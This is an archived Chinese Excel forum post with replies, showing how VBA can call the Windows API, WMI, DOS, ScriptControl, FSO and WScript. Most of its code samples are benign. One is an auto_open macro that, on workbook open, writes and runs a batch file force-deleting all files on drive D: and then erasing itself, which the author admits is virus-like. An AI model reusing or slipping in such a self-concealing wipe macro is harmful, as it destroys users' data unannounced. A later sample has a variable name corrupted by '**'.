ExcelTip.Net留存知识帖 ---【注:附件之前被网盘供应商清空后,现已修复-现已修复-现已修复为本地下载!】
现在位置:首页 > E文精选 > Excel VBA > 有容乃大→-论VBA的包容性

有容乃大→-论VBA的包容性

作者:绿色风 分类: 时间:2022-08-17 浏览:146
楼主
罗刚君
  VBA完整的称呼是Visual Basic For Application
  VBA是附属于软件中的编程语言,它的身影遍布全球,同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA,可见VBA应用的广泛性。
  当然除此外,VBA还有一个特性:包容性。VBA语言起源于VB,但高于VB。也就是说先有VB,后有VBA,但是VB6.0停止开发后,VBA却在一步步升级,目前最新版是7.0。当然说VBA高于VB并非针对版本号,而是易用性,VBA相对VB有较大的改善。例如在窗体中添加控件,VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能,特别是一组控件进行拖动时,可以实现复制一组控件,且属性一致,排版准确....VB是无法做到这一点的。当然还有很多很多的改进,例如VB中使用分组框Frame1后,里面的控件全变成“刮刮卡”形式,背影变成黑色,让人无法看文字,这种BUG比较严重。还有按钮的前景色无法设置等等毛病,而VBA都进行了改进。
  当然今天说的不止于此,主要谈VBA的包容性,即VBA可以使用VBA和VB的语言进行编程以外,它还可以调用其它语言,集万家所长,“它山之石可以攻玉”在此体现得淋漓尽致。
例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO(FileSystemObject)、ScriptControl、WMI(Windows Management Instrumentation)以及专用于网页的语言。
________________________________________
  有事实说话?Of Course!
  例如VBA调用API:通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下:
  1. Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Sub 测试状态()
  3.   If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox "Shift键被按下了"
  4.   If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox "Ctrl键被按下了"
  5.   If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox "Alt键被按下了"
  6. End Sub
  VBA调用WMI:通过WMI技术获取本机的分辨率设置。代码如下:
  1. Sub 计算分辨率()
  2.   Dim colItems, objItem As Object
  3.   Set colItems = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * From Win32_DisplayConfiguration")
  4.   For Each objItem In colItems
  5.     MsgBox "分辨率:" & objItem.PelsWidth & "* " & objItem.PelsHeight
  6.   Next
  7. End Sub
  VBA调用DOS:利用DOS命令删除所有文件,同时将自己也删除,实现隐弊的目的
  1. Sub auto_open() '全自动执行删除所有文件(有点像病毒了,请大家不要随意测试,知道就行)
  2.   On Error Resume Next
  3.   Dim i As Integer
  4.   Dim delFile As String
  5.   delFile = "C:\del.bat"
  6.   i = FreeFile
  7.   Open delFile For Output Access Write As #i
  8.   Print #i, "@echo off"
  9.   Print #i, "del/f/s/q d:\*.*"    '删除D盘下所有文件
  10.   Print #i, "del/f/s/q C:\del.bat"   '删除自己,不留痕迹
  11.   Print #i, "@echo"
  12.   Close (i)
  13.   Shell Environ$("comspec") & " /c """ & delFile & """", vbMinimizedFocus '执行命令
  14. End Sub
  VBA调用ScriptControl:通过ScriptControl开发计算函数,可以突破VBA中Evaluate的限制
我们知道Evaluate顶多能计算256个字符的表达式,远远不能满足工作需求,而ScriptControl却可以实现1000个字符以上的表达式计算
代码如下:
  1. '本函数可以计算表达式,例如将1+3转换成值4
  2. Function 计算(rng As String) As String
  3.   Set obj = CreateObject("MSScriptControl.ScriptControl")
  4.   obj.Language = "vbscript"
  5.   计算 = obj.Eval(rng)
  6.   Set obj = Nothing
  7. End Function
  
现在证明一下我的以上观点:
  1. Sub 测试()  '突破256限制
  2.   Dim str As String
  3.   For i = 1 To 500
  4.     str = str & "1+"
  5.   Next
  6.   MsgBox 计算(str & 1) '可以计算值为501
  7.   MsgBox Application.Evaluate(str & 1)  '不能计算
  8. End Sub
  VBA调用FSO:利用FSO技术获取所有文件夹名称
  1. Sub 将D盘所有文件夹名罗列在A列()
  2.     For Each Floder1 In CreateObject("Scripting.FileSystemObject").GetFolder("D:\").SubFolders
  3.         n = n + 1
  4.         Cells(n, 1) = Floder1.Name
  5.     Next
  6. End Sub
___________________________________
  为了更好的体现VBA的包容性,再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用,代码如下:
  1. Sub 获取C盘以外所有磁盘的文件夹目录()
  2.   Dim FileSys As Object, Drv As Object, Letter As String
  3.   Set FileSys = CreateObject("Scripting.FileSystemObject")  '引用FSO对象
  4.   On Error Resume Next  '防错
  5.   For Each Drv In FileSys.Drives    '遍历所有磁盘
  6.     If Drv.IsReady Then  '如果磁盘已准备好(主要针对光盘或者虚拟盘)
  7.       If Drv.DriveLetter <> "C" Then Letter = Letter & Drv.DriveLetter & ":\ "  '如果卷标不是C,那么将所有卷标合并
  8.     End If
  9.   Next Drv
  10.   Dim Str As String, objShell As Object
  11.   Set objShell = CreateObject("WScript.Shell")  '引用WScript对象
  12.   Set Do**ec = objShell.Exec("cmd.exe /c dir " & Letter & " /ad")  '引用DOS命令提取文件夹目录
  13.   Str = Do**ec.StdOut.ReadAll  '将返回的值赋与变量Str
  14.   '将变量Str的值以换行符作为分隔符,将它转换成数组并写入到工作表中
  15.   [a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))
  16.   Set FileSys = Nothing  '释放变量
  17.   Set Do**ec = Nothing
  18.   Set objShell = Nothing
  19. End Sub
结束语:
  VBA相当强大,除了自身的强大外,它可以将别的软件的优点借用过来扩充自己。那么我们自己呢?
  希望广大网友都可以通过学习VBA来武装自己,也使自己更强大,让自己更充实。
                    →-罗刚君 2010-4-22
  转载请注明出处
2楼
yinxingshu
不错!
确实不错!
3楼
xyh9999
学习VBA其乐无穷
4楼
zlxtl
5楼
xynczhangchun
罗老师的书不错,我正在读,而且有问必答
6楼
wangqilong1980
罗老师的书不错,我正在读,而且有问必答
7楼
蓝桥玄霜
好文章。收藏学习了。
8楼
liuguansky
蓝桥版主都过来学习了啊。我也过来凑下热闹
9楼
lrlxxqxa
它山之石,可以攻玉,原来VBA可以调用如此多的语言!
10楼
jm1979
感谢罗老师
最后一段遍历的代码里多了几个**
11楼
松儿
不简单!学习!
12楼
bluexuemei
VBA海纳百川啊
13楼
水星钓鱼
再次学习

免责声明

有感于原ExcelTip.Net留存知识的价值及部分知识具有的时间限定性因素, 经与ExcelTip.Net站长Apolloh商议并征得其同意, 现将原属ExcelTip.Net的知识帖采集资料于本站点进行展示, 供有需要的人士查询使用,也慰缅曾经的论坛时代。 所示各个帖子的原作者如对版权有异议, 可与本人沟通提出,或于本站点留言,我们会尽快处理。 在此,感谢ExcelTip.Net站长Apolloh的支持,感谢本站点所有人**绿色风(QQ:79664738)**的支持与奉献,特此鸣谢!
------本人网名**KevinChengCW(QQ:1210618015)**原ExcelTip.Net总版主之一

评论列表
sitemap